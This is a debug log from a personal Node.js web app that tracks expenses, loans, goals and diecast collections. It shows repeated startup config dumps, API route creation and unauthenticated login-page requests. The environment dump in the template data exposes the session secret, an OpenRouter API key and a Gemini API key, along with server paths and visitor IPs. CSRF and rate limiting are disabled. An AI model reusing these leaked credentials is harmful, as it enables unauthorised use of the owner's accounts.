    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.1',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml',
    HTTP_ACCEPT_LANGUAGE: 'en-US',
    HTTP_CACHE_CONTROL: 'no-cache',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '178.73.235.125',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-05T16:46:34.290Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T16:46:34.709Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T16:46:34.981Z server-connect:setup:upload Upload middleware configured.
2026-06-05T16:46:34.982Z server-connect:secure CSRF Protection initialized
2026-06-05T16:46:34.984Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T16:46:34.985Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T16:46:34.986Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T16:46:34.987Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T16:46:34.987Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T16:46:34.988Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T16:46:34.989Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T16:46:34.990Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-05T16:46:34.993Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T16:46:34.993Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T16:46:34.994Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T16:46:34.994Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T16:46:34.995Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T16:46:34.995Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T16:46:34.996Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-05T16:46:34.996Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T16:46:34.996Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T16:46:34.997Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T16:46:34.997Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T16:46:34.998Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T16:46:34.998Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T16:46:35.076Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T16:46:35.077Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T16:46:35.077Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T16:46:35.077Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T16:46:35.078Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T16:46:35.078Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-05T16:46:35.078Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-05T16:46:35.078Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T16:46:35.079Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T16:46:35.079Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T16:46:35.079Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T16:46:35.079Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-05T16:46:35.080Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T16:46:35.080Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T16:46:35.080Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T16:46:35.081Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T16:46:35.081Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-06T01:11:32.961Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-06T01:11:35.234Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-06T01:11:36.162Z server-connect:setup:upload Upload middleware configured.
2026-06-06T01:11:36.162Z server-connect:secure CSRF Protection initialized
2026-06-06T01:11:36.168Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-06T01:11:36.170Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-06T01:11:36.171Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-06T01:11:36.173Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-06T01:11:36.179Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-06T01:11:36.184Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-06T01:11:36.197Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-06T01:11:36.210Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-06T01:11:36.214Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-06T01:11:36.216Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-06T01:11:36.218Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-06T01:11:36.222Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-06T01:11:36.228Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-06T01:11:36.237Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-06T01:11:36.241Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-06T01:11:36.314Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-06T01:11:36.315Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-06T01:11:36.320Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-06T01:11:36.326Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-06T01:11:36.329Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-06T01:11:36.331Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-06T01:11:36.338Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-06T01:11:36.342Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-06T01:11:36.347Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-06T01:11:36.350Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-06T01:11:36.353Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-06T01:11:36.355Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-06T01:11:36.358Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-06T01:11:36.363Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-06T01:11:36.363Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-06T01:11:36.367Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-06T01:11:36.371Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-06T01:11:36.374Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-06T01:11:36.377Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-06T01:11:36.382Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-06T01:11:36.386Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-06T01:11:36.388Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-06T01:11:36.398Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-06T14:44:42.178Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-06T14:44:44.449Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-06T14:44:45.314Z server-connect:setup:upload Upload middleware configured.
2026-06-06T14:44:45.315Z server-connect:secure CSRF Protection initialized
2026-06-06T14:44:45.321Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-06T14:44:45.321Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-06T14:44:45.323Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-06T14:44:45.327Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-06T14:44:45.331Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-06T14:44:45.338Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-06T14:44:45.350Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-06T14:44:45.363Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-06T14:44:45.366Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-06T14:44:45.368Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-06T14:44:45.370Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-06T14:44:45.375Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-06T14:44:45.380Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-06T14:44:45.390Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-06T14:44:45.394Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-06T14:44:45.466Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-06T14:44:45.469Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-06T14:44:45.472Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-06T14:44:45.478Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-06T14:44:45.483Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-06T14:44:45.483Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-06T14:44:45.491Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-06T14:44:45.496Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-06T14:44:45.501Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-06T14:44:45.504Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-06T14:44:45.507Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-06T14:44:45.509Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-06T14:44:45.512Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-06T14:44:45.517Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-06T14:44:45.519Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-06T14:44:45.522Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-06T14:44:45.522Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-06T14:44:45.528Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-06T14:44:45.528Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-06T14:44:45.534Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-06T14:44:45.539Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-06T14:44:45.539Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-06T14:44:45.550Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-06T14:44:46.150Z server-connect:router Serving templateView /
2026-06-06T14:44:46.155Z server-connect:app Executing action step identify
2026-06-06T14:44:46.155Z server-connect:app options: { provider: 'security' }
2026-06-06T14:44:46.162Z server-connect:auth No login cookie found
2026-06-06T14:44:46.162Z server-connect:output identity: false
2026-06-06T14:44:46.162Z server-connect:app Executing action step restrict
2026-06-06T14:44:46.162Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-06T14:44:46.166Z server-connect:output restrict: undefined
2026-06-06T20:31:32.326Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-06T20:31:34.594Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-06T20:31:35.458Z server-connect:setup:upload Upload middleware configured.
2026-06-06T20:31:35.458Z server-connect:secure CSRF Protection initialized
2026-06-06T20:31:35.463Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-06T20:31:35.464Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-06T20:31:35.465Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-06T20:31:35.469Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-06T20:31:35.476Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-06T20:31:35.477Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-06T20:31:35.494Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-06T20:31:35.506Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-06T20:31:35.512Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-06T20:31:35.513Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-06T20:31:35.514Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-06T20:31:35.518Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-06T20:31:35.524Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-06T20:31:35.535Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-06T20:31:35.537Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-06T20:31:35.610Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-06T20:31:35.612Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-06T20:31:35.616Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-06T20:31:35.622Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-06T20:31:35.626Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-06T20:31:35.628Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-06T20:31:35.636Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-06T20:31:35.636Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-06T20:31:35.643Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-06T20:31:35.645Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-06T20:31:35.649Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-06T20:31:35.651Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-06T20:31:35.653Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-06T20:31:35.659Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-06T20:31:35.661Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-06T20:31:35.663Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-06T20:31:35.665Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-06T20:31:35.669Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-06T20:31:35.671Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-06T20:31:35.677Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-06T20:31:35.680Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-06T20:31:35.682Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-06T20:31:35.692Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-06T20:31:36.291Z server-connect:router Serving templateView /
2026-06-06T20:31:36.296Z server-connect:app Executing action step identify
2026-06-06T20:31:36.296Z server-connect:app options: { provider: 'security' }
2026-06-06T20:31:36.304Z server-connect:auth No login cookie found
2026-06-06T20:31:36.304Z server-connect:output identity: false
2026-06-06T20:31:36.304Z server-connect:app Executing action step restrict
2026-06-06T20:31:36.304Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-06T20:31:36.308Z server-connect:output restrict: undefined
2026-06-06T20:31:36.444Z server-connect:router Serving templateView /login
2026-06-06T20:31:36.445Z server-connect:app Executing action step identify
2026-06-06T20:31:36.445Z server-connect:app options: { provider: 'security' }
2026-06-06T20:31:36.445Z server-connect:auth No login cookie found
2026-06-06T20:31:36.445Z server-connect:output identity: false
2026-06-06T20:31:36.445Z server-connect:router Render template layouts/authentication
2026-06-06T20:31:36.446Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '45.92.86.18',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-07T20:31:36.443Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '45.92.86.18',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '45.92.86.18',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-06T21:15:07.452Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-06T21:15:09.724Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-06T21:15:10.584Z server-connect:setup:upload Upload middleware configured.
2026-06-06T21:15:10.586Z server-connect:secure CSRF Protection initialized
2026-06-06T21:15:10.592Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-06T21:15:10.594Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-06T21:15:10.595Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-06T21:15:10.598Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-06T21:15:10.603Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-06T21:15:10.611Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-06T21:15:10.622Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-06T21:15:10.634Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-06T21:15:10.640Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-06T21:15:10.641Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-06T21:15:10.642Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-06T21:15:10.646Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-06T21:15:10.652Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-06T21:15:10.662Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-06T21:15:10.666Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-06T21:15:10.738Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-06T21:15:10.741Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-06T21:15:10.745Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-06T21:15:10.750Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-06T21:15:10.754Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-06T21:15:10.756Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-06T21:15:10.765Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-06T21:15:10.765Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-06T21:15:10.771Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-06T21:15:10.774Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-06T21:15:10.777Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-06T21:15:10.780Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-06T21:15:10.780Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-06T21:15:10.787Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-06T21:15:10.789Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-06T21:15:10.791Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-06T21:15:10.793Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-06T21:15:10.797Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-06T21:15:10.799Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-06T21:15:10.805Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-06T21:15:10.809Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-06T21:15:10.811Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-06T21:15:10.820Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-06T21:15:11.327Z server-connect:router Serving templateView /
2026-06-06T21:15:11.362Z server-connect:app Executing action step identify
2026-06-06T21:15:11.362Z server-connect:app options: { provider: 'security' }
2026-06-06T21:15:11.370Z server-connect:auth No login cookie found
2026-06-06T21:15:11.370Z server-connect:output identity: false
2026-06-06T21:15:11.370Z server-connect:app Executing action step restrict
2026-06-06T21:15:11.370Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-06T21:15:11.374Z server-connect:output restrict: undefined
2026-06-06T21:15:15.064Z server-connect:router Serving templateView /
2026-06-06T21:15:15.064Z server-connect:app Executing action step identify
2026-06-06T21:15:15.064Z server-connect:app options: { provider: 'security' }
2026-06-06T21:15:15.064Z server-connect:auth No login cookie found
2026-06-06T21:15:15.064Z server-connect:output identity: false
2026-06-06T21:15:15.064Z server-connect:app Executing action step restrict
